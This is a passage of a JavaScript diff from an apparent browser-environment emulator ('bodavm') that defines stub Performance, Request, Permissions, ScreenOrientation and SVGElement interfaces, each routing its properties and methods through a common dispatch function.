+}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "measure", { + configurable: true, + enumerable: true, + writable: true, + value: function measure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "measure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "now", { + configurable: true, + enumerable: true, + writable: true, + value: function now() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "now", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "setResourceTimingBufferSize", { + configurable: true, + enumerable: true, + writable: true, + value: function setResourceTimingBufferSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "setResourceTimingBufferSize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "timing", { + configurable: true, + enumerable: true, + get: function timing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "navigation", { + configurable: true, + enumerable: true, + get: function navigation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "navigation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "memory", { + configurable: true, + enumerable: true, + get: function memory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "memory_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "eventCounts", { + configurable: true, + enumerable: true, + get: function eventCounts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "eventCounts_get", arguments); + }, + set: undefined +}, 'prototype'); + +// performance对象 + +bodavm.memory.globalobj['performance'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['performance'].__proto__ = bodavm.memory.globalobj['Performance'].prototype; +// ScreenOrientation对象 + +bodavm.memory.globalobj['ScreenOrientation'] = function ScreenOrientation() { + console.log_copy('ScreenOrientation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScreenOrientation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenOrientation'], "ScreenOrientation"); +bodavm.memory.globalobj['ScreenOrientation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ScreenOrientation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ScreenOrientation', "angle", { + configurable: true, + enumerable: true, + get: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "angle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "lock", { + configurable: true, + enumerable: true, + writable: true, + value: function lock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "lock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "unlock", { + configurable: true, + enumerable: true, + writable: true, + value: function unlock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "unlock", arguments); + } +}, 'prototype'); +// PerformanceEntry对象 + +bodavm.memory.globalobj['PerformanceEntry'] = function PerformanceEntry() { + console.log_copy('PerformanceEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEntry'], "PerformanceEntry"); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "entryType", { + configurable: true, + enumerable: true, + get: function entryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "entryType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "startTime", { + configurable: true, + enumerable: true, + get: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "startTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "toJSON", arguments); + } +}, 'prototype'); +// PerformancePaintTiming对象 + +bodavm.memory.globalobj['PerformancePaintTiming'] = function PerformancePaintTiming() { + console.log_copy('PerformancePaintTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformancePaintTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformancePaintTiming'], "PerformancePaintTiming"); +bodavm.memory.globalobj['PerformancePaintTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformancePaintTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +// PerformanceResourceTiming对象 + +bodavm.memory.globalobj['PerformanceResourceTiming'] = function PerformanceResourceTiming() { + console.log_copy('PerformanceResourceTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceResourceTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceResourceTiming'], "PerformanceResourceTiming"); +bodavm.memory.globalobj['PerformanceResourceTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceResourceTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "initiatorType", { + configurable: true, + enumerable: true, + get: function initiatorType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "initiatorType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "nextHopProtocol", { + configurable: true, + enumerable: true, + get: function nextHopProtocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "nextHopProtocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "workerStart", { + configurable: true, + enumerable: true, + get: function workerStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "workerStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectStart", { + configurable: true, + enumerable: true, + get: function redirectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectEnd", { + configurable: true, + enumerable: true, + get: function redirectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "fetchStart", { + configurable: true, + enumerable: true, + get: function fetchStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "fetchStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupStart", { + configurable: true, + enumerable: true, + get: function domainLookupStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupEnd", { + configurable: true, + enumerable: true, + get: function domainLookupEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectStart", { + configurable: true, + enumerable: true, + get: function connectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectEnd", { + configurable: true, + enumerable: true, + get: function connectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "secureConnectionStart", { + configurable: true, + enumerable: true, + get: function secureConnectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "secureConnectionStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "requestStart", { + configurable: true, + enumerable: true, + get: function requestStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "requestStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStart", { + configurable: true, + enumerable: true, + get: function responseStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseEnd", { + configurable: true, + enumerable: true, + get: function responseEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "transferSize", { + configurable: true, + enumerable: true, + get: function transferSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "transferSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "encodedBodySize", { + configurable: true, + enumerable: true, + get: function encodedBodySize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "encodedBodySize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "decodedBodySize", { + configurable: true, + enumerable: true, + get: function decodedBodySize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "decodedBodySize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "serverTiming", { + configurable: true, + enumerable: true, + get: function serverTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "serverTiming_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "renderBlockingStatus", { + configurable: true, + enumerable: true, + get: function renderBlockingStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "renderBlockingStatus_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStatus", { + configurable: true, + enumerable: true, + get: function responseStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStatus_get", arguments); + }, + set: undefined +}, 'prototype'); +// Permissions对象 + +bodavm.memory.globalobj['Permissions'] = function Permissions() { + console.log_copy('Permissions 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Permissions)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Permissions'], "Permissions"); +bodavm.toolsFunc.defineProperty('Permissions', "query", { + configurable: true, + enumerable: true, + writable: true, + value: function query() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Permissions'].prototype, "Permissions", "query", arguments); + } +}, 'prototype'); +// PermissionStatus对象 + +bodavm.memory.globalobj['PermissionStatus'] = function PermissionStatus() { + console.log_copy('PermissionStatus 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PermissionStatus)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PermissionStatus'], "PermissionStatus"); +bodavm.memory.globalobj['PermissionStatus'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PermissionStatus'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PermissionStatus', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PermissionStatus', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PermissionStatus', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_set", arguments); + } +}, 'prototype'); +// Request对象 + +bodavm.memory.globalobj['Request'] = function Request() { + console.log_copy('Request 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Request)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Request': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Request'], "Request"); +bodavm.toolsFunc.defineProperty('Request', "method", { + configurable: true, + enumerable: true, + get: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "method_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "headers", { + configurable: true, + enumerable: true, + get: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "headers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "destination", { + configurable: true, + enumerable: true, + get: function destination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "destination_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "referrer", { + configurable: true, + enumerable: true, + get: function referrer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrerPolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "credentials", { + configurable: true, + enumerable: true, + get: function credentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "credentials_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "cache", { + configurable: true, + enumerable: true, + get: function cache() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "cache_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "redirect", { + configurable: true, + enumerable: true, + get: function redirect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "redirect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "integrity", { + configurable: true, + enumerable: true, + get: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "integrity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "keepalive", { + configurable: true, + enumerable: true, + get: function keepalive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "keepalive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "isHistoryNavigation", { + configurable: true, + enumerable: true, + get: function isHistoryNavigation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "isHistoryNavigation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "bodyUsed", { + configurable: true, + enumerable: true, + get: function bodyUsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "bodyUsed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "arrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function arrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "arrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "blob", { + configurable: true, + enumerable: true, + writable: true, + value: function blob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "blob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "formData", { + configurable: true, + enumerable: true, + writable: true, + value: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "formData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "json", { + configurable: true, + enumerable: true, + writable: true, + value: function json() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "json", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "text", { + configurable: true, + enumerable: true, + writable: true, + value: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "text", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "body_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGElement对象 + +bodavm.memory.globalobj['SVGElement'] = function SVGElement() { + console.log_copy('SVGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGElement'], "SVGElement"); +bodavm.memory.globalobj['SVGElement'].prototype.__proto__ = bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['SVGElement'].__proto__ = bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('SVGElement', "className", { + configurable: true, + enumerable: true, + get: function className() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "className_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ownerSVGElement", { + configurable: true, + enumerable: true, + get: function ownerSVGElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ownerSVGElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "viewportElement", { + configurable: true, + enumerable: true, + get: function viewportElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "viewportElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", 